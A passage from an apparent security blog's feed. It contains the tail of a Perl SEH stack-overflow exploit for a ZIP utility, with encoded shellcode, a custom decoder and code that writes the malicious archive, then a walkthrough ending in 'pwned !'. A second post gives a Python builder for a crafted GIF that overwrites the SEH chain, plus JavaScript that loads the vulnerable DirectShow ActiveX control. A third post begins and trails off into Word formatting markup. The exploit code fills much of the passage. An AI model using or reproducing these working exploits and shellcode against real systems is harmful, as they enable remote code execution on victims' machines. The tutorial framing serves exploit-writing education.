"<span style="color: #8b0000">Q2AB2BB0BBABXP8ABuJIRFMQzjYotOqRaBCZuRbxxMFNW</span>".
"<span style="color: #8b0000">LUUrzBTZOh8bWVPVPd4lK9jnOaezJloBUYwIoxgA</span>";

<span style="color: #0000ff">my</span> $size=4064;
<span style="color: #0000ff">my</span> $<span style="color: #0000ff">offset</span>=1022;
<span style="color: #0000ff">my</span> $filename=  "<span style="color: #8b0000">Admin accounts and passwords.txt</span>".("<span style="color: #8b0000"> </span>" x 100);
<span style="color: #0000ff">my</span> $espalign="<span style="color: #8b0000">\x61</span>" x 71;  #make esp happy
#make edx happy + jump to $filler3 (32 bytes forward)
<span style="color: #0000ff">my</span> $edxalign="<span style="color: #8b0000">\x54\x5a\x74\x20</span>";
<span style="color: #0000ff">my</span> $filler2 = "<span style="color: #8b0000">A</span>" x (102-<span style="color: #0000ff">length</span>($espalign.$edxalign));
<span style="color: #0000ff">my</span> $jmpback="<span style="color: #8b0000">\x74\xf7</span>";     #jump back 102 bytes - to $espalign
<strong><font color="#ff0000"><span style="color: #0000ff">my</span> $decoder = "<span style="color: #8b0000">AAA</span>".   #3 bytes padding needed before decoder
"<span style="color: #8b0000">\x25\x4A\x4D\x4E\x55</span>".
"<span style="color: #8b0000">\x25\x35\x32\x31\x2A</span>".
"<span style="color: #8b0000">\x2d\x55\x55\x55\x5F</span>".
"<span style="color: #8b0000">\x2d\x55\x55\x55\x5F</span>".
"<span style="color: #8b0000">\x2d\x56\x55\x56\x5E</span>".
"<span style="color: #8b0000">\x50</span>".
"<span style="color: #8b0000">\x25\x4A\x4D\x4E\x55</span>".
"<span style="color: #8b0000">\x25\x35\x32\x31\x2A</span>".
"<span style="color: #8b0000">\x2d\x2A\x5A\x35\x54</span>".
"<span style="color: #8b0000">\x2d\x2A\x5A\x36\x54</span>".
"<span style="color: #8b0000">\x2d\x2B\x61\x35\x54</span>".
"<span style="color: #8b0000">\x50</span>";</font></strong>

<span style="color: #0000ff">my</span> $filler3 = "<span style="color: #8b0000">A</span>" x (102-<span style="color: #0000ff">length</span>($jmpback.$decoder));
<span style="color: #0000ff">my</span> $filler1= "<span style="color: #8b0000">A</span>" x ($<span style="color: #0000ff">offset</span> - <span style="color: #0000ff">length</span>($filename.$egghunter.
   $espalign.$edxalign.$filler2.$jmpback.$decoder.$filler3));
<span style="color: #0000ff">my</span> $nseh="<span style="color: #8b0000">\x74\xf7\x90\x90</span>";   #jump back 102 bytes
<span style="color: #0000ff">my</span> $seh=<span style="color: #0000ff">pack</span>('V',0x00415A68);
<span style="color: #0000ff">my</span> $payload = $filename.$egghunter.$filler1.
$espalign.$edxalign.$filler2.
$jmpback.$decoder.$filler3.
$nseh.$seh;

<span style="color: #0000ff">my</span> $shellcode = "<span style="color: #8b0000">w00tw00t</span>".
"<span style="color: #8b0000">\x89\xe2\xd9\xe8\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49</span>" .
"<span style="color: #8b0000">\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51</span>" .
"<span style="color: #8b0000">\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32</span>" .
"<span style="color: #8b0000">\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41</span>" .
"<span style="color: #8b0000">\x42\x75\x4a\x49\x4a\x79\x48\x6b\x4f\x6b\x48\x59\x42\x54</span>" .
"<span style="color: #8b0000">\x51\x34\x49\x64\x50\x31\x4a\x72\x4d\x62\x51\x6a\x45\x61</span>" .
"<span style="color: #8b0000">\x4f\x39\x45\x34\x4c\x4b\x51\x61\x44\x70\x4c\x4b\x42\x56</span>" .
"<span style="color: #8b0000">\x44\x4c\x4c\x4b\x50\x76\x47\x6c\x4e\x6b\x51\x56\x44\x48</span>" .
"<span style="color: #8b0000">\x4c\x4b\x43\x4e\x47\x50\x4e\x6b\x45\x66\x46\x58\x50\x4f</span>" .
"<span style="color: #8b0000">\x45\x48\x43\x45\x4c\x33\x51\x49\x43\x31\x4a\x71\x49\x6f</span>" .
"<span style="color: #8b0000">\x49\x71\x51\x70\x4c\x4b\x50\x6c\x47\x54\x44\x64\x4e\x6b</span>" .
"<span style="color: #8b0000">\x51\x55\x45\x6c\x4e\x6b\x43\x64\x43\x35\x44\x38\x45\x51</span>" .
"<span style="color: #8b0000">\x48\x6a\x4e\x6b\x51\x5a\x44\x58\x4e\x6b\x51\x4a\x47\x50</span>" .
"<span style="color: #8b0000">\x47\x71\x48\x6b\x4b\x53\x50\x37\x42\x69\x4c\x4b\x46\x54</span>" .
"<span style="color: #8b0000">\x4e\x6b\x46\x61\x4a\x4e\x44\x71\x49\x6f\x50\x31\x4f\x30</span>" .
"<span style="color: #8b0000">\x49\x6c\x4c\x6c\x4f\x74\x4f\x30\x51\x64\x47\x7a\x4a\x61</span>" .
"<span style="color: #8b0000">\x4a\x6f\x46\x6d\x46\x61\x4b\x77\x4b\x59\x49\x61\x49\x6f</span>" .
"<span style="color: #8b0000">\x49\x6f\x49\x6f\x47\x4b\x51\x6c\x45\x74\x44\x68\x42\x55</span>" .
"<span style="color: #8b0000">\x49\x4e\x4e\x6b\x42\x7a\x47\x54\x46\x61\x4a\x4b\x43\x56</span>" .
"<span style="color: #8b0000">\x4e\x6b\x44\x4c\x50\x4b\x4c\x4b\x43\x6a\x45\x4c\x43\x31</span>" .
"<span style="color: #8b0000">\x4a\x4b\x4e\x6b\x45\x54\x4e\x6b\x45\x51\x49\x78\x4b\x39</span>" .
"<span style="color: #8b0000">\x43\x74\x45\x74\x45\x4c\x50\x61\x4f\x33\x4e\x52\x43\x38</span>" .
"<span style="color: #8b0000">\x47\x59\x4b\x64\x4e\x69\x4a\x45\x4e\x69\x49\x52\x45\x38</span>" .
"<span style="color: #8b0000">\x4e\x6e\x50\x4e\x46\x6e\x4a\x4c\x46\x32\x4d\x38\x4d\x4c</span>" .
"<span style="color: #8b0000">\x4b\x4f\x49\x6f\x4b\x4f\x4d\x59\x51\x55\x44\x44\x4f\x4b</span>" .
"<span style="color: #8b0000">\x51\x6e\x49\x48\x4a\x42\x42\x53\x4f\x77\x47\x6c\x45\x74</span>" .
"<span style="color: #8b0000">\x46\x32\x49\x78\x4c\x4b\x49\x6f\x4b\x4f\x49\x6f\x4b\x39</span>" .
"<span style="color: #8b0000">\x51\x55\x47\x78\x50\x68\x42\x4c\x42\x4c\x51\x30\x49\x6f</span>" .
"<span style="color: #8b0000">\x45\x38\x50\x33\x46\x52\x44\x6e\x51\x74\x43\x58\x51\x65</span>" .
"<span style="color: #8b0000">\x50\x73\x50\x65\x50\x72\x4d\x58\x43\x6c\x44\x64\x47\x7a</span>" .
"<span style="color: #8b0000">\x4c\x49\x4b\x56\x50\x56\x4b\x4f\x51\x45\x47\x74\x4d\x59</span>" .
"<span style="color: #8b0000">\x4f\x32\x42\x70\x4f\x4b\x4d\x78\x4f\x52\x50\x4d\x4d\x6c</span>" .
"<span style="color: #8b0000">\x4c\x47\x47\x6c\x46\x44\x50\x52\x4a\x48\x51\x4e\x49\x6f</span>" .
"<span style="color: #8b0000">\x4b\x4f\x49\x6f\x42\x48\x50\x4c\x42\x61\x42\x6e\x50\x58</span>" .
"<span style="color: #8b0000">\x42\x48\x42\x63\x50\x4f\x42\x72\x51\x55\x45\x61\x49\x4b</span>" .
"<span style="color: #8b0000">\x4e\x68\x51\x4c\x47\x54\x45\x57\x4b\x39\x4d\x33\x42\x48</span>" .
"<span style="color: #8b0000">\x44\x32\x44\x33\x42\x78\x51\x30\x42\x48\x50\x73\x43\x59</span>" .
"<span style="color: #8b0000">\x44\x34\x50\x6f\x43\x58\x43\x57\x51\x30\x44\x36\x51\x79</span>" .
"<span style="color: #8b0000">\x50\x68\x51\x30\x50\x62\x50\x6c\x42\x4f\x42\x48\x46\x4e</span>" .
"<span style="color: #8b0000">\x45\x33\x42\x4f\x50\x6d\x43\x58\x51\x63\x43\x43\x45\x35</span>" .
"<span style="color: #8b0000">\x43\x53\x50\x68\x43\x71\x50\x62\x43\x49\x43\x43\x42\x48</span>" .
"<span style="color: #8b0000">\x51\x64\x43\x58\x43\x55\x47\x50\x42\x48\x45\x70\x51\x64</span>" .
"<span style="color: #8b0000">\x50\x6f\x51\x30\x45\x38\x50\x73\x45\x70\x51\x78\x50\x69</span>" .
"<span style="color: #8b0000">\x51\x78\x47\x50\x43\x43\x45\x31\x50\x79\x51\x78\x46\x50</span>" .
"<span style="color: #8b0000">\x45\x34\x47\x43\x42\x52\x45\x38\x42\x4c\x50\x61\x42\x4e</span>" .
"<span style="color: #8b0000">\x51\x73\x50\x68\x50\x63\x42\x4f\x50\x72\x51\x75\x45\x61</span>" .
"<span style="color: #8b0000">\x4a\x69\x4e\x68\x42\x6c\x45\x74\x46\x56\x4b\x39\x4b\x51</span>" .
"<span style="color: #8b0000">\x50\x31\x49\x42\x50\x52\x50\x53\x46\x31\x46\x32\x49\x6f</span>" .
"<span style="color: #8b0000">\x4a\x70\x44\x71\x4b\x70\x46\x30\x49\x6f\x42\x75\x43\x38</span>" .
"<span style="color: #8b0000">\x46\x6a\x41\x41</span>";

<span style="color: #0000ff">my</span> $rest = "<span style="color: #8b0000">D</span>" x ($size-<span style="color: #0000ff">length</span>($payload.$shellcode));

$payload=$payload.$rest.$shellcode."<span style="color: #8b0000">.txt</span>";

<span style="color: #0000ff">my</span> $evilzip = $ldf_header.$payload.
              $cdf_header.$payload.
			  $eofcdf_header;

<span style="color: #0000ff">print</span> "<span style="color: #8b0000">[+] Removing old zip file\n</span>";
<span style="color: #0000ff">system</span>("<span style="color: #8b0000">del $sploitfile</span>");
<span style="color: #0000ff">print</span> "<span style="color: #8b0000">[+] Writing payload to file\n</span>";
<span style="color: #0000ff">open</span>(FILE,"<span style="color: #8b0000">&gt;$sploitfile</span>");
<span style="color: #0000ff">print</span> FILE $evilzip;
<span style="color: #0000ff">close</span>(FILE);
<span style="color: #0000ff">print</span> "<span style="color: #8b0000">[+] Wrote </span>".<span style="color: #0000ff">length</span>($evilzip)."<span style="color: #8b0000"> bytes to file $sploitfile\n</span>";
<span style="color: #0000ff">print</span> "<span style="color: #8b0000">[+] Payload length : </span>" . <span style="color: #0000ff">length</span>($payload)."<span style="color: #8b0000">\n</span>";</pre>
<p>After the custom decoder finishes reproducing the original code, we can see that it has nicely written the code a few bytes below the end of the decoder (see screenshot below, reproduced code can be found at 0x0013F8E4)</p>
<p>Conveniently, the INC ECX instructions (A&#8217;s) between the end of the decoder and the reproduced bytecode, will act as a nop here. So when the decoder has finished, it will execute a bunch of harmless inc ecx instructions, and will eventually execute the sub edx,35E&nbsp; and jmp edx instructions.</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image21.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb21.png" width="384" height="277"></a> </p>
<p>Step through until the jmp edx instruction.&nbsp; Don&#8217;t make the jump yet, just verify that EDX now points at the start of the egg hunter :</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image22.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb22.png" width="495" height="277"></a> </p>
<p>That looks fine.&nbsp; </p>
<p>If you now press F9, the egg hunter should run, locate the shellcode, and execute it :</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image23.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb23.png" width="497" height="237"></a> </p>
<p>pwned !</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<h3>About the author</h3>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/head1_thumb636_thumb13.jpg"><img style="border-right-width: 0px; margin: 0px 15px 0px 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="head1_thumb636_thumb[1]" border="0" alt="head1_thumb636_thumb[1]" align="left" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/head1_thumb636_thumb13_thumb.jpg" width="182" height="214"></a>Peter Van Eeckhoutte (a.k.a. “corelanc0d3r”) has been working in IT System Engineering and Security since 1997. He currently serves as IT Infrastructure Manager and Security Officer for a large European company.</p>
<p>He is owner of the <a href="http://www.corelan.be:8800/">Corelan Blog</a>, author of <a href="http://www.corelan.be:8800/index.php/category/security/exploit-writing-tutorials/">several exploit writing tutorials</a>, a variety of <a href="http://www.corelan.be:8800/index.php/category/my-free-tools/">free tools</a>, maintains/moderates an <a href="http://www.corelan.be:8800/index.php/forum/writing-exploits/">exploit writing forum</a>, and founder of the Corelan Team, which is a group of people that share the same interests : gathering and sharing knowledge.</p>
<p>Peter is 35 years old and currently lives in Deerlijk, Belgium.&nbsp; You can follow him on <a href="https://twitter.com/corelanc0d3r">twitter</a> or reach him via peter dot ve [at] corelan {dot} be.&nbsp; </p>
<p>&nbsp;</p>
<h3>Thanks to</h3>
<p>My buddies at <a href="http://www.corelan.be:8800/index.php/security/corelan-team-members/">Corelan Team</a>, my friends all over the world, and of course Shahin Ramezany for giving me the opportunity to publish this article on the abysssec.com website.</p>
<p>(oh &#8230; and by the way Shahin : I&#8217;m really sorry I ruined <a href="http://www.counter-strike.net/">your game</a> last night &#8211; sorry bro ;-) )</p>
]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2010/03/ken-ward-zipper-stack-bof-0day-a-not-so-typical-seh-exploit/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Microsft Directshow and MPEG-2 Exploitation</title>
		<link>http://www.abysssec.com/blog/2009/07/microsft-directshow-and-mpeg-2-exploitation/</link>
		<comments>http://www.abysssec.com/blog/2009/07/microsft-directshow-and-mpeg-2-exploitation/#comments</comments>
		<pubDate>Fri, 10 Jul 2009 14:01:13 +0000</pubDate>
		<dc:creator>shahin</dc:creator>
				<category><![CDATA[Exploits / BUG Decryption]]></category>
		<category><![CDATA[0day]]></category>
		<category><![CDATA[Directshow]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[MPEG-2]]></category>
		<category><![CDATA[seh]]></category>

		<guid isPermaLink="false">http://www.abysssec.com/blog/?p=359</guid>
		<description><![CDATA[hello we are really sorry for too late updates. but we are busy but i have some good news and i will share with you soon . for  now i want to have short talk about new DirectShow vulnerabilities  one of this vulnerability is more fun and exploited in the wild in past days .and [...]]]></description>
			<content:encoded><![CDATA[<p>hello we are really sorry for too late updates.</p>
<p>but we are busy but i have some good news and i will share with you soon . for  now i want to have short talk about new DirectShow vulnerabilities  one of this vulnerability is more fun and exploited in the wild in past days .and now exploit is  available in the wild.</p>
<p>anyway here is orginal advisory  (another good vulnerability from alex wheeler):</p>
<p>http://www.microsoft.com/technet/security/advisory/972890.mspx</p>
<p>this vulnerability can be exploit using  varient browser exploitation method like Heap Spray.</p>
<p>and flowing simple script can trigger vulnerabilty :</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">#!/usr/bin/python</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">sys</span> , <span style="color: #dc143c;">os</span>
&nbsp;
gif =  <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>03<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>11<span style="color: #000099; font-weight: bold;">\x</span>20<span style="color: #000099; font-weight: bold;">\x</span>34<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00&quot;</span>
gif += <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00&quot;</span>
gif += <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00&quot;</span>
gif += <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>FF<span style="color: #000099; font-weight: bold;">\x</span>FF<span style="color: #000099; font-weight: bold;">\x</span>FF<span style="color: #000099; font-weight: bold;">\x</span>FF&quot;</span>    <span style="color: #808080; font-style: italic;"># End of SEH chain</span>
gif += <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>41&quot;</span>    <span style="color: #808080; font-style: italic;"># SE Handler</span>
gif += <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>00&quot;</span>
&nbsp;
fp = <span style="color: #008000;">open</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;directshow.gif&quot;</span>,<span style="color: #483d8b;">&quot;wb&quot;</span><span style="color: black;">&#41;</span>
fp.<span style="color: black;">write</span><span style="color: black;">&#40;</span>gif<span style="color: black;">&#41;</span>
fp.<span style="color: black;">close</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span></pre></div></div>


<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">var</span> myObject<span style="color: #339933;">=</span>document.<span style="color: #660066;">createElement</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'object'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
DivID.<span style="color: #660066;">appendChild</span><span style="color: #009900;">&#40;</span>myObject<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
myObject.<span style="color: #660066;">width</span><span style="color: #339933;">=</span><span style="color: #3366CC;">'1'</span><span style="color: #339933;">;</span>
myObject.<span style="color: #660066;">height</span><span style="color: #339933;">=</span><span style="color: #3366CC;">'1'</span><span style="color: #339933;">;</span>
myObject.<span style="color: #660066;">data</span><span style="color: #339933;">=</span><span style="color: #3366CC;">'directshow.gif;
// Vulnerable ID
myObject.classid='</span>clsid<span style="color: #339933;">:</span>0955AC62<span style="color: #339933;">-</span>BF2E<span style="color: #339933;">-</span>4CBA<span style="color: #339933;">-</span>A2B9<span style="color: #339933;">-</span>A63F772D46CF<span style="color: #3366CC;">';</span></pre></div></div>

<p style="text-align: center;"><img class="aligncenter" title="stack" src="http://i27.tinypic.com/ju7srl.png" alt="" width="538" height="323" /></p>
<p style="text-align: center;">here you can see overwritten SEH</p>
<p style="text-align: center;"><img class="aligncenter" title="Spray" src="http://i30.tinypic.com/b9g36d.png" alt="" width="503" height="233" />and here you can see Spared Heap</p>
<p style="text-align: center;">
<p style="text-align: center;"><img class="aligncenter" title="Shell" src="http://i32.tinypic.com/243546o.png" alt="" width="468" height="125" /></p>
<p style="text-align: center;">finally as you can see here we got a shell</p>
<p style="text-align: center;">
<p style="text-align: left;">using methods like java-script obfuscation and shirking variables can make this exploit more dangerous . and you can find this exploit at :</p>
<p style="text-align: left;">http://trac.metasploit.com/browser/framework3/trunk/modules/exploits/windows/browser/msvidctl_mpeg2.rb</p>
<p style="text-align: left;">and:</p>
<p style="text-align: left;">http://milw0rm.com/exploits/9108</p>
<p style="text-align: left;">Happy Hunting.</p>
<p style="text-align: left;">PS : i will try to have a technical post soon as soon possible</p>
<p style="text-align: left;">Cheers .</p>
<p style="text-align: left;">shahin</p>
]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2009/07/microsft-directshow-and-mpeg-2-exploitation/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Format string exploitation on windows</title>
		<link>http://www.abysssec.com/blog/2009/02/format-string-exploitation-on-windows/</link>
		<comments>http://www.abysssec.com/blog/2009/02/format-string-exploitation-on-windows/#comments</comments>
		<pubDate>Mon, 02 Feb 2009 13:28:21 +0000</pubDate>
		<dc:creator>shahin</dc:creator>
				<category><![CDATA[Exploits / BUG Decryption]]></category>
		<category><![CDATA[reversing]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[exploitation]]></category>
		<category><![CDATA[Format string]]></category>
		<category><![CDATA[memory]]></category>
		<category><![CDATA[reverse engineering]]></category>
		<category><![CDATA[win32]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://abysssec.com/blog/?p=278</guid>
		<description><![CDATA[Hello i know , i know i have a big absence about 2 month . but i,m back with a big update for you . a step by step article about exploiting format string vulnerabilities on windows platform. here is download link for this article : http://abysssec.com/blog/wp-content/uploads/2009/02/fstring-exploit.pdf feel free to send your questions to admin@abysssec.com&#124;NoSpam [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: left;">Hello</p>
<p style="text-align: left;">i know , i know i have a big absence about 2 month . but i,m back with a big update for you .</p>
<p style="text-align: left;">a step by step article about exploiting format string vulnerabilities on windows platform.</p>
<p><img class="alignnone" title="Format String" src="http://i44.tinypic.com/33w1ag8.jpg" alt="" width="560" height="320" /></p>
<p style="text-align: center;">
<p style="text-align: center;"><!--[if !mso]> <mce :style>< !  v\:* {behavior:url(#default#VML);} o\:* {behavior:url(#default#VML);} w\:* {behavior:url(#default#VML);} .shape {behavior:url(#default#VML);} --> <!--[endif]--><!--[if gte mso 9]><xml> <w :WordDocument> </w><w :View>Normal</w> <w :Zoom>0</w> <w :TrackMoves /> <w :TrackFormatting /> <w :PunctuationKerning /> <w :ValidateAgainstSchemas /> <w :SaveIfXMLInvalid>false</w> <w :IgnoreMixedContent>false</w> <w :AlwaysShowPlaceholderText>false</w> <w :DoNotPromoteQF /> <w :LidThemeOther>EN-US</w> <w :LidThemeAsian>X-NONE</w> <w :LidThemeComplexScript>AR-SA</w> <w :Compatibility> <w :BreakWrappedTables /> <w :SnapToGridInCell /> <w :WrapTextWithPunct /> <w :UseAsianBreakRules /> <w :DontGrowAutofit /> <w :SplitPgBreakAndParaMark /> <w :DontVertAlignCellWithSp /> <w :DontBreakConstrainedForcedTables /> <w :DontVertAlignInTxbx /> <w :Word11KerningPairs /> <w :CachedColBalance /> </w> <w :BrowserLevel>MicrosoftInternetExplorer4</w> <m :mathPr> <m :mathFont m:val="Cambria Math" /> <m :brkBin m:val="before" /> <m :brkBinSub m:val=" " /> <m :smallFrac m:val="off" /> <m :dispDef /> <m :lMargin m:val="0" /> <m :rMargin m:val="0" /> <m :defJc m:val="centerGroup" /> <m :wrapIndent m:val="1440" /> <m :intLim m:val="subSup" /> <m :naryLim m:val="undOvr" /> </m> </xml>< ![endif]--><!--[if gte mso 9]><xml> <w :LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"   DefSemiHidden="true" DefQFormat="false" DefPriority="99"   LatentStyleCount="267"> <w :LsdException Locked="false" Priority="0" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Normal" /> <w :LsdException Locked="false" Priority="9" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="heading 1" /> <w :LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2" /> <w :LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3" /> <w :LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4" /> <w :LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5" /> <w :LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6" /> <w :LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7" /> <w :LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8" /> <w :LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9" /> <w :LsdException Locked="false" Priority="39" Name="toc 1" /> <w :LsdException Locked="false" Priority="39" Name="toc 2" /> <w :LsdException Locked="false" Priority="39" Name="toc 3" /> <w :LsdException Locked="false" Priority="39" Name="toc 4" /> <w :LsdException Locked="false" Priority="39" Name="toc 5" /> <w :LsdException Locked="false" Priority="39" Name="toc 6" /> <w :LsdException Locked="false" Priority="39" Name="toc 7" /> <w :LsdException Locked="false" Priority="39" Name="toc 8" /> <w :LsdException Locked="false" Priority="39" Name="toc 9" /> <w :LsdException Locked="false" Priority="35" QFormat="true" Name="caption" /> <w :LsdException Locked="false" Priority="10" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Title" /> <w :LsdException Locked="false" Priority="1" Name="Default Paragraph Font" /> <w :LsdException Locked="false" Priority="11" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Subtitle" /> <w :LsdException Locked="false" Priority="22" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Strong" /> <w :LsdException Locked="false" Priority="20" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Emphasis" /> <w :LsdException Locked="false" Priority="59" SemiHidden="false"    UnhideWhenUsed="false" Name="Table Grid" /> <w :LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text" /> <w :LsdException Locked="false" Priority="1" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="No Spacing" /> <w :LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading" /> <w :LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List" /> <w :LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid" /> <w :LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1" /> <w :LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2" /> <w :LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1" /> <w :LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2" /> <w :LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1" /> <w :LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2" /> <w :LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3" /> <w :LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List" /> <w :LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading" /> <w :LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List" /> <w :LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid" /> <w :LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 1" /> <w :LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 1" /> <w :LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 1" /> <w :LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1" /> <w :LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1" /> <w :LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 1" /> <w :LsdException Locked="false" UnhideWhenUsed="false" Name="Revision" /> <w :LsdException Locked="false" Priority="34" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="List Paragraph" /> <w :LsdException Locked="false" Priority="29" 